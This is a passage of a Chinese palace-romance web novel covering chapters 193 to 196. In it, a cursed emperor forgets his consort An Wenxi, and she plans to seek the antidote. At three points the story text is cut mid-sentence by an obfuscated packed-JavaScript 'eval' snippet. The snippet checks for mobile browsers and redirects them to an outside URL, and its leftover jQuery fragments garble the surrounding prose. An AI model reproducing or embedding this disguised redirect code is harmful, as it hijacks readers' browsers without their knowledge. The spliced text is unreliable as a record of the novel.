来人一身银白盔甲,在阳光下熠熠生辉,仿佛在他的周围镀了一层银辉,那人冷面冷目,周身尽是凌傲尊狂,宛若神祇突降。 他回来了! 竟然比他预计的最短时间还少了两天! 安文夕不可置信的盯着身形高大的男子,心中蓦地一阵阵温暖,当她的眸光落到他身后的江向晚时,不由得一黯,江向晚怎么会跟他在一起,难道他们一同去了洛城? 北宫喆淡淡扫了眼安文夕,双眸微缩,这个人是谁?他怎么从来没见过,但是那一袭红衣却不自觉地就吸引了他所有的目光。 他只记得他要赶回来看一个人,可是他却不记得那个人的模样,也不记得那个人是谁,他的脑海里只有一个模糊的背影罢了。 而这个陌生的女子——似乎不是他要找的人。 北宫喆的视线只在安文夕脸上停留了一瞬,便匆匆移开了目光。 安文夕心里顿时咯噔了一下,北宫喆看她的时候,她也在打量着北宫喆,他看她的眼神,有探究有疑惑,但更多的是陌生,完全的陌生,比在青末山庄那次还要陌生! 安文夕的心一寸寸凉了下去,他这是完全忘记她了么? 而此时,曹暮烟变得更加癫狂,抬起双手,准备对北宫喆发动攻击。 北宫喆的眉头几不可见的皱了起来,眼底隐隐有些隐忍,他看向曹暮烟道:“母后,你这是做什么?” “我要杀了你,杀了你们!” “沧总管,你是怎么伺候母后的,就是让她怎样发疯么,堂堂一国太后,传出去岂不是让人贻笑大方!” 沧月脸色一僵,忙抓住曹暮烟的双手,对她道:“太后娘娘,您病了,奴才送您回房。” 第193章 不认识你 第一百九十三章不认识你 本来他们计划告诉欢凉她的**,逼她对烟儿动手,这样就可以以谋害太后之罪,诛了黎家九族。那么,在朝堂之上,则会又少了拥护北宫喆的一派!谁知,事情却变成了这个样子! “不,哀家不走!”曹暮烟剧烈的挣扎着。 半晌,她眼中的血色加剧,仿佛要泣血一般,她蓦地攥紧了沧月的双手,如发了疯一般扑向沧月的脖子,张口便咬。 沧月心中大惊,决不能让别人看到烟儿这样一副模样,否则,他们一直所隐瞒的事情就要就公诸于世了! “还不快点将她带走!”北宫喆声音冰冷如冷,眉宇间爬满了不悦。 安文夕怔怔的瞧了眼曹暮烟发狂的背影,她只是下药逼着曹暮烟提前入魔,可是她却没有想到曹暮烟魔性如此严重,竟然完全丧失了神智! 经过今天这一闹,欢凉的性命是保住了,她手中的免死令牌也没有用上。 北宫喆眸光微敛,看向曹暮烟和沧月远去的方向,黑瞳又深了几分。 他径直越过安文夕身侧,始终没有给她半个眼神,当真不记得她了。 半晌,他似乎是想到了什么,回头看向一旁的黎太师和易寒,眉头略皱,“你们怎会在宫里。” “回皇上,老臣奉太后懿旨进宫。”黎正回答时,狠狠咬了太后二字。 “微臣受皇贵妃传召入宫。” 北宫喆黑瞳微缩,这才看向安文夕,皇贵妃?他的妃子么,他怎么不曾记得何时封了个皇贵妃。 看着她眼中的酸楚,北宫喆的心蓦地一揪,他忙收回了视线,看向一旁的江向晚,眉间略有些不悦道:“还愣着做什么?” 江向晚蓦地反应过来,立即追了上去。她的眸内掩去了一抹得意与喜色,嘴角不自觉地浮起一抹浅笑。 攻下洛城之后,喆便迫不及待的赶来承安,她原以为他是为了安文夕而来,可是她却在半道上得知了喆中了忘情蛊,已经开始慢慢忘却安文夕。 而现在,她亲眼所见,喆不记得安文夕了,一点都不记得,他的心里再也没有安文夕,她终于等到这一天了! 她亲切的挽上了北宫喆的胳膊,感受到他身子一滞,她淡淡笑道:“走吧。” 北宫喆似乎不太习惯她的亲昵,不动声色的抽离了手臂,而江向晚也不在意,和他并肩而走。 安文夕怔怔的看着二人的背影,宛若一对璧人一般,她的嘴角噙起一抹苦笑,心里酸楚不堪。 “公主……”欢凉走到她身侧,随着她的目光看去,一时不知道该怎样安慰她。 下一瞬,安文夕疾步追了上去,她一定要问个明白,那个人是不是真的不记得她了,就算不记得,那她也要让他重新爱上她! 感到自己的手腕突然被人拉住,北宫喆脚步一滞,回头看向安文夕道:“何事?”他的眼底有些不耐。 安文夕紧紧的盯着他清冷的眸光,试图在里面找到一丝熟悉,可惜没有! “你若是为了刚才的事向朕道谢,就不必……” “九哥哥……”安文夕打断他道。 “你认错人了。”北宫喆一把拂开她的手,他的耐心已经到了极限,若是换了别人,抓着他说一些奇怪的话,他早就将她一掌拍飞了,可是现在他竟然停了下来,跟她解释她认错人了,他的心中微微惊讶,再次打量了对面女子的眉眼,可是脑海里依旧没有半分印象。 安文夕心中一痛,她不死心的再次拉住了北宫喆的衣袖,双手死死地握紧了他的手,道:“九哥哥……” “放肆!”北宫喆长袖一挥,一把扫开她,可是却终究没有狠下心肠,微微拉了她一把,稳住了她的身形。然后头也不回的走开了。 安文夕还欲再次追上去,却换来江向晚讥讽的眼色,“我劝你还是有点廉耻之心,喆现在不认识你,也请你以后不要再去打扰他!” 安文夕狠狠地咬了咬下唇,欢凉从身后扶住了她道:“公主,回去吧。” “好。”安文夕转身,掩去眼底的一片哀凉。 “皇贵妃娘娘,现在好像没有什么事情了,可否容微臣告退?”虽然他被传召入宫,也不知道皇贵妃到底找他何事,但是现在皇上回来了之后,这事情好像也解决了吧。 “今日让易大人白跑一趟了。” “皇贵妃客气了,微臣告退。” 易寒走后,黎正向前一步,看了眼欢凉,然后对安文夕道:“皇贵妃娘娘,老臣有个不情之请。” “我……我想陪着公主。”欢凉自然知道黎正想说的是什么,没办法,即使知道面前的老者是她的亲外公,她一时还是无法去亲近。 若是因此而要离开公主的话,她宁愿不要去接受这个身份! “欢凉,我不是有意要骗你,我以前也曾生活在仇恨中,很痛苦,所以我不想你和我一样,只会为了仇恨而活着。可是现在你既然已经知道了,我便没有权利去决定你以后的生活……” “公主,你这是不要欢凉了么……”欢凉顿时眼眶微红,死死地攥着安文夕的衣角不肯撒手。 “欢凉,我没有不要你,我只是给你一个选择的权利,你虽然名为我的侍女,但是我们自幼一起长大,且又师从同门,我一直将你当做妹妹。” “公主,这些我都知道,可是我不要离开你,不要。”欢凉眼眶中蓄满了眼泪。 “孩子,外公……外公没有逼你。”黎正看着欢凉眼里的悲切与抗拒,心里虽然涩涩难受,可是终究还是不忍,她对于他这个突然多出来的外公,一时难以接受,他能理解。 “欢凉,他们知道了你还在世上,一定会很开心的,那都是你的亲人。”安文夕握了握欢凉的手。 “去吧,你跟黎太师回去看看。” “公主……”欢凉眼中蓄着的泪水顿时顺着花颊滚落。 “你若是不喜欢太师府,就可以再回来找我。” “孩子,外公不逼你,你就当是跟外公回家看看,当年你外婆因**死伤心过度,卧床多年,如今时日无多,若是她知道婻儿还留给了她一个外孙女,她一定会非常欣慰的。你若是不喜欢住在太师府,就和皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617221|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵妃住在未央宫,只要偶然去看看……去看看你外婆便可。”黎正说着不禁老泪纵横。 “去吧,欢凉。”安文夕拉着欢凉走到黎正面前。 “公主,我……” “明日再进宫便是。”安文夕打断她道。 “去吧,臭……欢凉。”袭匀搀着月无双走来。 月无双捂着胸口道:“欢凉,你外婆要是知道你去看她,一定会很开心的。” “好。”欢凉终于点了头。 回到未央宫,安文夕再次翻出从琼华殿带来的画卷,眸光深深。 再次想起和楚君昱的一年之约,现在他已经不记得她了,她也是时候离开夏宫了,可是她却舍不得。 还有江向晚手中的引魂丹,她走前一定要复活母后! 听到一阵极浅的脚步声,安文夕立即飞快的将画收了起来。 陌姑姑淡扫了眼安文夕手中的画卷道:“他回来了,你都知道了吧。” 安文夕淡淡点头。 “那你可知再过十日,他就会迎娶江向晚。” 陌姑姑冷淡的声音顿时在安文夕心中掀起了一阵波澜,怎么会这么快,不是要到六月么? “陌姑姑为何要跟我说这个?难道怕我会故意破坏么?” 陌姑姑黑瞳缩了缩没有说话。 安文夕倏地笑了,“我如今有孕在身,他也已经不记得我了,我能做什么?” “你心中清楚便好,曹暮烟把持朝政,势力盘根错节,江向晚身后的江家会对喆儿有帮助。”陌姑姑声音冷清,但看向安文夕的双眸不觉间多了抹怜惜。 她像极了当年的自己。 琼华殿。 北宫喆环视着殿内,心头涌上一阵熟悉之感,尤其是殿内萦绕的淡淡檀香,阵阵安神。 不论是龙案旁还是一旁的软榻,好像都萦绕了一个小小的身影,他奔波一路就是为了回来见她,可是为何在他的脑海中她的身影越来越模糊。 北宫喆习惯性的摩挲了一下手腕上的红豆手链,却不知这手链何时戴在手上的,看着那些红豆莹润的光泽,应该有些日子了。 虽然他不习惯手腕上有东西,可是却一直没有将这串手链摘下。 这颗颗红豆,红的妖冶,一如今天那个女子身上的大红宫装一般,张扬夺目。 她满眼的惊喜与期盼毫无预料的闯进了他清冷的双眸,那孱弱的身姿却有着别样的风华,让他久久挥之不去。 他心底的那个人是她么? 不,不是,他心底的女子似乎没有这么的妖娆,没有那么的邪魅! 那她又是谁,怎么会出现在了夏宫? 他将他后宫的所有女人都想了一遍,也没能想起宫中何时多了这样一个女人,而且妃位竟然还是皇贵妃! 浅浅的脚步顿时打断了北宫喆的思绪,他缓缓抬眸,对上江向晚带着浅笑的温婉脸颊,眉头几不可见的皱了下,“朕不是让你回府了么?” 江向晚脸上的笑意一滞,抿了抿唇道:“我这就要回府了,来琼华殿和你说一声。” 第194章 太讨厌了 第一百九十四章太讨厌了 北宫喆淡淡点了点头,继续摩挲着手腕上戴着的红豆,江向晚有些不甘心道:“喆,明日我还可以进宫找你么?” “明日朕就下诏,你我十日后完婚,成亲之前男女相见是为不吉!” 江向晚抿了抿唇,“好,我听你的便是。”她微垂眸光,眼底尽是喜色。 江向晚走后,北宫喆对身后道:“青玄。” 青玄从暗处现身,抱拳道:“皇上有何吩咐?” “今日……”北宫喆眸光微顿,指尖习惯性的覆上太阳穴。 青玄微微一滞,他还从未见皇上说个话这么纠结。 半晌,北宫喆道:“今日那个女子是谁?” “女子?”青玄一愣。 “红衣女子。” “皇上说的可是皇贵妃。” 北宫喆眸光深深,薄唇紧抿,淡吐道:“她是谁?” 青玄压下心中的惊骇,问道:“难道皇上当真一点也不记得皇贵妃了么?” 看着北宫喆不起波澜的双眸,叹了口气道:“皇贵妃是原来大安的十公主,皇上灭了大安之后,就……就立了十公主为瑾妃,然后又升为瑾淑妃,不久前皇上又抬了皇贵妃之位。” “还有呢?” “还有……皇上极是宠爱皇贵妃,皇贵妃娘娘一向独宠,而且现在身怀龙嗣!” 提到身怀龙嗣,北宫喆幽深的黑瞳蓦地骤缩,他摆了摆手,“朕知道了,你下去吧。” 在他的记忆中,他从未和女子合过房,而她却怀了他的孩子! 他中了忘情蛊,会忘记至爱之人,而他现在正好独独忘记了她,那她是不是呢? 事实告诉他,她很可能就是他心底的女子,可是为何他的直觉却告诉他,她不是! 北宫喆再次按压着眉心,偌大的琼华殿空旷的清冷,总觉得少了点什么。 第二日,整个承安到处流传着曹太后是妖魔所变的言论,即使朝廷对这些言论进行**,可是这些言论的传播速度反而更加迅猛。 再加之曹太后**后宫、把持朝政、残害忠良的事情,不少清正廉洁的朝臣纷纷上奏罢黜太后。 而在民间,曹太后更是被称作一代妖后,祸害大夏江山社稷。 这些言论传进宫中的时候,曹暮烟还因为入魔而昏迷不醒,自然不知道。 安文夕听到这些时,淡淡勾了唇,看向陌姑姑道:“陌姑姑好能耐。” “这不是本宫的手笔,本宫不过是添了把火罢了。” 安文夕微抿唇角,难道是他? 她起身将做好的点心装进食盒,特意换上了以前还在安宫时的锦衣素服,将穿惯了的红衣全部收了起来。 “你要去琼华殿?” “是。”安文夕敛眸,“陌姑姑这是要拦我么?” “你去吧。”陌姑姑淡道,半晌,看着她纤弱的背影再次开口,“让袭匀陪你过去吧,万一有个闪失就糟了。” 安文夕脚步一滞,回头道:“多谢陌姑姑提醒。” 她走到琼华殿时,守在外面的小太监见她走来,忙行礼道:“奴才给皇贵妃娘娘请安,皇上在南书房留了几个大臣议事,一时半会可能回不来。” 琼华殿外殿便是书房,一般下朝之后,北宫喆会在此留了臣子议事,很少去南书房,看来这次事情严重,应该是为了曹太后的事情吧。 “本宫知道了,本宫在琼华殿等他便是。” 进了琼华殿,袭匀就有些待不住了,安文夕也不勉强,对他道:“我不会出什么事的,你要是想去找欢凉就去吧。” “不行,那臭丫头若是知道我将你一个人丢下了,定然会骂死我的。” “好了,我又不是软柿子,别人还拿捏不了我,你赶紧去吧。听说月公子今日归朝,万一被他抢了先……” “小师妹,你多保重,下午我和欢凉一起回宫。”袭匀眸光一敛。 安文夕点点头,“去吧。” 她将龙案上的奏折整理了一遍,然后拿出她带的点心一一摆在案上,坐在一旁等了许久却依然不见北宫喆回来。 她坐的一阵阵犯困,便躺在了一旁的软榻上,随手扯过毯子搭在身上。 当北宫喆回到琼华殿的时候便是看到的这幅景象,龙案上的奏折被她整理的整整齐齐。 还有小碟子里的点心,不禁形状古怪,而且白蓉糕里竟然还埋了颗颗草莓。 他微微凝眉,走到安文夕身侧为她往上拉了拉毯子。 不是有孕在身么,怎么还到处乱跑,竟然就这么睡在了这里,也不怕着凉! 一身月白的罗裙竟是她多了几分娴静,安静的蜷在软榻中,犹如一直慵懒的猫儿。 安文夕感觉到了身上的动静,蓦地睁开了眼睛,和北宫喆清冷的眸光对了个正着。 北宫喆手一滞,他立即放下了手中的毯子,几步走到了龙案前,凉凉道:“既然醒了,就回去吧。” “我等了你这么久,你一来就要赶我走?”安文夕缓缓坐起了身子,丝毫不在意他的冷淡。 北宫喆微微一滞,似乎没想到她会这么说,在他愣神之际,安文夕已经走到了他的身前,看着小碟子里的点心道:“我辛苦做了那么久,你看都不看一眼,我是不是也太失败了。” 她的眼底带了些俏皮,拈起一块点心送到了他的唇边,北宫喆想都没有就厌恶的别开了脸。 谁知,下一瞬,从另一个方向递来的点心却蓦地塞到了他的口中。 “好吃么?”安文夕期待道,既然他忘记了她,忘记了他们的一切,那么她就帮他一遍遍的回顾他们以前的点滴。 入口即化,甜而不腻,尤其是里面夹着的草莓,酸甜可口。 看着北宫喆慢条斯理的咀嚼着嘴里的点头,安文夕粲然一笑,“这道点心还有一个好听的名字,叫做踏雪寻梅,你还记得么?” 踏雪寻梅,倒是个好名字,但他并没有印象。 北宫喆抬眸看向对面眉眼弯弯的女子,心中莫名一暖。 “朕吃过了,你回去吧,这里不是你该来的地方。” 安文夕压下心中的酸楚,嘴角攒出一抹笑意,“自由进出琼华殿可是我一个人独有的殊荣呢,这是你以前说的,金口玉言,可是不能反悔的。”她说着转身斜斜靠在了软榻上。 北宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617222|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喆脸色一黑,没想到这个女人竟然如此难缠! “你批你的折子,我看我的书,我们互不干扰。”安文夕将手中的书一扬。 北宫喆抿了抿唇,坐在了龙椅上,随手翻了翻被整齐摆放在一起的奏折,心中一惊,她竟然将他要批的折子按照上奏的内容分门别类的整理整齐,难道她不知道后宫不得干政么? “以后不许动朕的折子。” 安文夕放下手中挡住脸的书,说道:“以前不都是这样帮你整理的么?” “朕说了以后不许就是不许,难道你想抗旨不尊?”北宫喆的声音陡然变冷。 “臣妾知晓了。”安文夕点头应道。 时间一点点流逝,终于忍不住的北宫喆将手中的朱笔狠狠一摔,大步走到安文夕面前,一把抓住她的胳膊厉声道:“你到底想做什么?” 他的心一直静不下来,而这个女人却一直盯着他看,更是让他一颗心乱成了一团。 “你吓到宝宝了!”安文夕不甘示弱的狠狠瞪了他一眼。 吓到宝宝?安文夕的回答更是让北宫喆的脸色黑了几分。 “你走,还是朕走?” “你……你别生气。” 北宫喆狠狠地甩开她的手,怒不可遏的紧紧锁着她的双瞳。 安文夕试图去拉他的手,却被他再次无情的甩开,他的眸中尽是寒冰。 她管不了那么多了,如今只有一个办法了,也许这会勾起他的一丝丝记忆! 安文夕蓦地走到北宫喆身前,飞快的转身,踮起脚尖在北宫喆唇畔印下一吻,手臂紧紧的攀着他的腰身,防止他再一次将她甩开。 北宫喆看着眼底那张放大的小脸,感受着唇畔传来的柔软触感,他的心突地一颤。 这抹柔软简直是致命的诱惑,竟令他逐渐沉陷。 安文夕生涩的描摹着他的唇形,允吸着他的唇瓣,最后生硬的撬开他的唇舌。 北宫喆的心跳得厉害,感受到她的丁香小蛇在他的口中长驱直入,他顿时惊醒。 “够了!”北宫喆彻底被激怒,眼底的冰霜喷薄欲出,这个女人还真是不知羞耻!他心中的那个人怎么会是她? 而被他忽略的是,刚才的他却沉迷其中难以自拔。 安文夕看着被她允吸的略有些红肿的唇瓣,微微咬着下唇。他生气了,他眼中的冰冷一股脑朝她砸来,她蓦地后退了两步,他眼底的决绝与狠戾陌生的可怕。 难道是她的方法错了么? “张海!”北宫喆厉声道,看着眼前一脸无措的女人恨不得将她掐死! 对他又啃又舔,吃干抹净之后,竟然还给他装无辜! “皇上……”张海感受到了殿内一触即发的低压气氛,身子不由得一阵发颤。 “将这个女人给朕带走!”北宫喆的声音陡然升高,在这空旷的琼华殿内尊厚无比。 安文夕抿了抿唇,看了眼发怒的北宫喆,淡道:“我自己走。” 北宫喆做到了龙椅上,有些疲倦的闭上了眼睛,轻轻的按压着眉心,半晌他拈起小碟子里的点心,放入口中。 这点心还可以,只是那个女人太讨厌了! 第195章 等不起了 第一百九十五章等不起了 出了琼华殿,安文夕眉眼间的俏皮顿时敛尽,乌黑的双瞳噙着淡淡的凄凉。 她了解她的九哥哥,对于陌生人的接触他向来是抵触的,更别说她主动凑上去拥吻,他不仅当时没有将她推开,而且事后只是暴怒而没有直接将她丢出殿外,这就说明,他对她并没有那么反感不是么? 安文夕抿了抿唇,嘴角慢慢攒出了一抹笑意,缓缓朝未央宫走去。 她走了不久,月清绝一路风尘仆仆赶回了夏宫,还没来得及休息便踏进了琼华殿。 “张海,给本公子倒杯茶,本公子渴**。”月清绝毫不客气的一屁股坐了下来。 他接过张海递来的茶,勾唇道:“多谢张公公了,你这琼华殿连个下人都没有,泡个茶还得劳烦张公公亲自动手。” 张海闻言立即垂头道:“月公子严重了,伺候皇上是奴才的本分。” 北宫喆冷冷瞥来一眼道:“自己又不是没手没脚。” “脸色这么臭,谁惹你了?” 北宫喆微抿了唇角,然后收回了视线放在了奏折上,而脑海中却一直浮现出那张脸来,虽然刚刚见过,他却记不住她的眉眼。还有那莫名其妙的吻,将他的心彻底搅乱。 半晌,他又烦躁的丢下手中的奏折,闭上了眼睛。 “无双受伤了,你不去看一眼么?” “受伤?怎么回事?” “受了一掌,但并无大碍。” 月清绝闻言稍稍放下心来,拈起小碟子里面的点心,毫不客气的吃了起来,“不错,好吃。” 他早就知道安文夕做得踏雪寻梅十分好吃,只是一直没有机会吃到罢了。 “安文夕刚才来过了?” “安文夕?” 看着北宫喆略有些茫然的双眸,月清绝嘴角一抽,“该不会完全忘记了吧。”怎么会忘记的这么快,难道曹太后背地里又动什么手脚了?他一直都在盯着,没发现什么异常啊! “你不记得了,原本定下三月攻下洛城,是谁为了早日见到她打起仗来不要命,不到一月就灭了慕容清所有势力?” “可是,为何朕觉得朕心里的那个影子不是她呢?”北宫喆闭着眼睛按了按眉心。 “不是她?那还能有谁?”月清绝惊道。 “朕中了忘情蛊,独独对她没有半点印象……” “所以,她就是你爱至深处的人。”月清绝接口道。 北宫喆没有说话,只是眸光又深了几分。 “行了,你自己想想吧,我去看看无双。”月清绝临走前也不忘记拿了两块碟子里的点心。 他急匆匆的进了未央宫,看了眼主殿的方向,还是抿了抿唇,拐去了月无双住的偏殿。 而此时月无双正看着面前一碗黑漆漆的药汁苦着一张脸。 都说医者不自医,昨日夕姐姐就叫来了傅太医来给她看诊,结果傅太医给她开了好几幅药。 她是喜欢药草,但是这不代表她喜欢吃药。 听到一阵脚步声,她猛然抬起头来,看到月清绝朝这边走来,惊喜道:“哥,你回来了。” “我听北宫喆说你受伤了,没事吧?” “没事,幸好我躲得快,那个人那一掌只是扫到了我。” “怎么不吃药?”月清绝微微皱眉,这个丫头向来讨厌吃药,看她的样子,想必是在思索着将这药倒到哪里去吧。 “我晾一会。”月无双干笑了两声。 “对了,哥,你知道么,欢凉现在有个外公!” 月清绝点了点头,他刚进京就听说了黎太师找到了遗失多年的外孙女,还因此大摆筵席宴请亲朋。而他的外孙女,名字刚好叫做欢凉。 看他一脸淡然的样子,想必是早就知道了,月无双努了努嘴,“你既然都知道了,那还愣着干嘛,赶紧去找欢凉呀,你不知道,今天一早,袭匀就去了太师府了!” 月清绝一听,立即掠身出去。 “哎,欢凉和袭匀刚回来,你去哪?”月无双立即追了出来。 月清绝和月无双进了主殿,就听到袭匀在说个不停。 “小师妹,你不知道,今天黎太师还夸我和欢凉这臭丫头郎才女貌呢。” “你闭嘴,没有的事!”欢凉愤愤。 “我说**袭,你还真会往自己脸上贴金呐!”月清绝清朗的声音传了进来。 欢凉循声看去,只见月清绝朝这边走来,一袭青衫遮不住他的清华无双,他轻摇羽扇,一身朗风霁月。 “你回来了?” 月清绝淡淡点头,“看你这小丫头满眼的欣喜,是不是想本公子了。” 欢凉嘴角的笑意一滞,抿了抿唇,转过身去。 “不要脸!”袭匀咬牙低唾一声。 月清绝不在意的看向安文夕,“本公子不在的日子,你的身体如何?” “挺好的,孩子也挺好。”安文夕轻抚上小腹,眉眼之间泛着母性的光芒。 安文夕看了眼欢凉等人,淡道:“我有话要与月公子说,你们先退下吧。” 月清绝自然知道安文夕要说的是什么事情,看着她微抿的嘴角道:“我也不知道为何北宫喆的记忆为什么会丧失的这么快。” “我知道他现在一点点也不记得我,我和他的接触,他不是从心底的厌恶,可是为什么我却觉得再也走不进他的心里了呢?” “因为,他将自己的心封了起来。” 月清绝看着安文夕的双眸道:“他的心里始终有一个影子,他认为他所爱的就是那个模糊的影子。” “而那个影子不是我。”安文夕敛眸。 “不,那个影子就是你,只是**罢了。” “不管怎样,当务之急,都要去找解药。”安文夕沉声道。 看着安文夕坚定的眉眼,月清绝心中一滞,他本以为北宫喆忘记了她,她会颓唐示意,甚至会悲切,可是她没有,她的嘴角始终都噙着淡淡的浅笑,而大大的杏眸如一汪秋水,黑瞳如墨,透着坚韧。 “月公子,你告诉我,如今的他还有多长时间?” “照着他这个失忆的速度,只怕只有一年的时间了。” “一年?”安文夕的眸光又深了几分。 月清绝犹豫了一下道:“在这一年内,他不仅会逐渐忘却亲近之人,还会沉迷于酒色,然后一点点的将自己毁掉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622044|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 安文夕黑瞳微缩,这个她知道,就如当年的夏瑜君,就因此而国破人亡! 她微微握紧了衣角,犹如下了决定一般,缓缓抬眸。 “你决定了么?” 安文夕点点头,“时间已经不多了,他等不起了。” 若是她在一年之后不能拿回解药,那么等着他的便是死亡,一如当年的夏瑜君。 安文夕睫毛轻颤,眸光敛尽,他不能死,大夏刚刚建立,还没有等他开拓出千载盛世,而且他们的宝宝还没有出世看一看父皇,他怎么能死? 她握了握拳,绝不能让当年夏瑜君的悲剧再次重演! 月清绝将她眼底的决绝收入眼底,问道:“何时动身?” “等他大婚过后吧。” 安文夕垂眸,她想再看一看他穿着大红吉服的样子,哪怕他身侧的人不是她,她只想看一眼便好。 他曾答应过她,会解决所有的女人之后来娶她,也许她等不到那一天了,那么她能看一眼他穿着大红吉服的样子也好,她也可以骗自己那是她和他的婚礼。 “到时我陪你一起去吧。” “不,你留下来陪着他,他的身边需要你。” “好。”月清绝说着起身,“你休息吧,我就不打扰了。” 欢凉见到月清绝出来,便想进去,结果却被月清绝一把拉住了手腕。 “你家公主累了,休息呢。” “你跟公主都说了什么?”欢凉蹙眉,是不是他跟公主说了什么不该说的? “我能说什么,就说了些如何安胎。” 月清绝自顾坐下,啜了口茶道:“小丫头,你下次何时回家,别忘了带上我。” 欢凉顿时脸色一僵,狠狠地瞪了他一眼,“公主在哪,哪里就是我的家!” “欢凉,我哥他想去见见你外公,顺便跟他提一提……” “黎太师是他想见就能见得么,黎太师年事已高,没事就不要去打扰他老人家。”袭匀凉淡的声音传来。 “那你上午还去了呢。”月无双立即反驳道。 “我那是去接欢凉了!” “好了,你们都别吵了,以后你们谁都不许去!”欢凉扔下这一句,转身去了安文夕所在的内殿。 “公主。”欢凉给安文夕拉了拉被子。 “怎么了?” “欢凉这次来想跟公主说一件事情,我外婆时日无多,她想……” “那以后你就待在太师府好好陪陪她。” “可是若是公主离开夏宫的时候,欢凉想和公主一起走。”虽然她不忍离开那满眼慈祥,拉着她的手不舍得松开的外婆,可是她更不想因此离开公主。 半晌,安文夕缓缓点头,以欢凉的性子,她劝不动的。 “欢凉,这里有一件事需要你去做。” “何事?” “在我临走之前,我想从江向晚手中取出引魂丹,复活母后。” “公主的意思是让我去将江向晚手中的引魂丹拿回来?可是,那江向晚既然霸着那引魂丹,自然不会让我们轻易找到。” 安文夕眸光渐深,“我知道那江向晚将引魂丹藏在了哪里。” 第196章 爱而不得 第一百九十六章爱而不得 “哪里?” 安文夕右手上抬,缓缓放在心口的位置,欢凉难以置信的睁大了眼睛。 “我让袭匀和我一起去。” 安文夕点点头,“这件事不要硬取,若是不成,就立即回来。” “公主,欢凉明白,只是欢凉有一事不明,既然那曹太后……”说到此,欢凉的神色一变,就连双眸之中都多了几分凌厉。 “她既然如此恨皇上和娘娘,为何她不将江向晚手中的引魂丹夺回来呢,这样不是可以因此来要挟公主了么?”欢凉还是习惯性的称呼安莫霖和莫虞为皇上和皇后。 安文夕眸光一沉,“她是想等我夺回了引魂丹之后,再从我这里下手,找到父皇和母后吧。” 欢凉握了握拳,眼底悄然划过一抹恨色,这个曹暮烟真是个祸害! “欢凉,你不要轻举妄动。”欢凉眼底的杀意自然瞒不过安文夕,当初她不告诉欢凉就是担心欢凉会因为曹暮烟灭了曹家满门而产生杀心。 “公主,放心吧,欢凉有分寸的,我不会因为曹家的事情向曹太后寻仇的。”即使知道了曹暮烟是她的灭门仇人,她也不会冲动的去找曹暮烟报仇,因为她对曹家的确没有什么感情。 安文夕稍稍放下心来,起身取出一封信递给欢凉道:“我身子不便出宫,你去帮我给父皇送一封信。” “好。”离得近了,欢凉这才发现安文夕眉眼之间染了淡淡的疲倦。 “我想睡一会,你去吧。”安文夕缓缓靠在了软榻上。 “公主,去床上睡吧。”欢凉心中涌出一阵心疼,公主日夜期盼,皇上终于回来了,可是皇上却分毫不记得她了,她虽然表现上清清淡淡的,可是她知道公主的心酸。 “不必了,我想在这里躺一躺。”安文夕闭上了眼睛。 斑驳的日光透过窗棂撒在安文夕脸上,将她的侧脸勾勒的分外恬静柔和。 欢凉看着她的侧脸微怔,半晌为她拉上了毯子。 —— 入夜,夏宫之中一片寂静,夜色如墨,不见半点月华。 一道黑影悄无声音的潜进了长乐宫,那个身形如魅,竟然轻松躲避长乐宫重重暗卫,可见身手了得。 他踏入长乐宫,阴冷之气倾面而来,那人有些不适应的蹙了眉,飞快的掠进了寝殿,直冲榻上之人而去。 他的大掌在曹暮烟面门而过,越过她的肩胛之处,封了她的穴道,从她的胸前摸出一枚珠子来,直接收入袖中。然后大手缓缓覆上她的脖颈,渐渐收紧,半晌似乎又厌恶般的收了手,探上她的脉搏,那人的手顿时一颤,目光凝聚在曹暮烟的小腹之上。 她竟然有孕! 果真如外面传的那般不知羞耻! 他的脑海中浮现一张温婉的脸来,强忍着没有将曹暮烟一掌劈死,他扯过巾帕擦了擦手,隐去了身形。 他来到未央宫时,身形一顿,看了半晌,终究还是没有踏进去。 在他转身之际,身后传来一道清冷的声音。 “既然来了,为何不进去。” 这是贤妃凌阡陌的声音。 “只是来看一眼罢了。”安莫霖转过了身子。 “你去了长乐宫。” 即使在黑暗中,安莫霖也感觉到了对面的凌阡陌眸光凌厉。 “是,我去找引魂丹。” “撒谎。”陌姑姑直接揭穿了他,他明明就知道引魂丹不在曹暮烟手里。 “果然瞒不了贤妃娘娘。” “你这是在引火烧身。”陌姑姑沉声道。 “曹暮烟是为了当年之事耿耿于怀,而阿虞的事情我一样不会轻饶了她,但是这都是我们这一代的恩怨,我只是不想让夕儿再牵扯其中。” “你要知道,只要安文夕在这夏宫一日,曹暮烟就绝不会放过她的,因为她是你和莫虞的女儿!” “她没有这个能耐动夕儿!”安莫霖透着内力的声音砸入陌姑姑心中,“所以对夕儿而言,这个夏宫不适合她!” 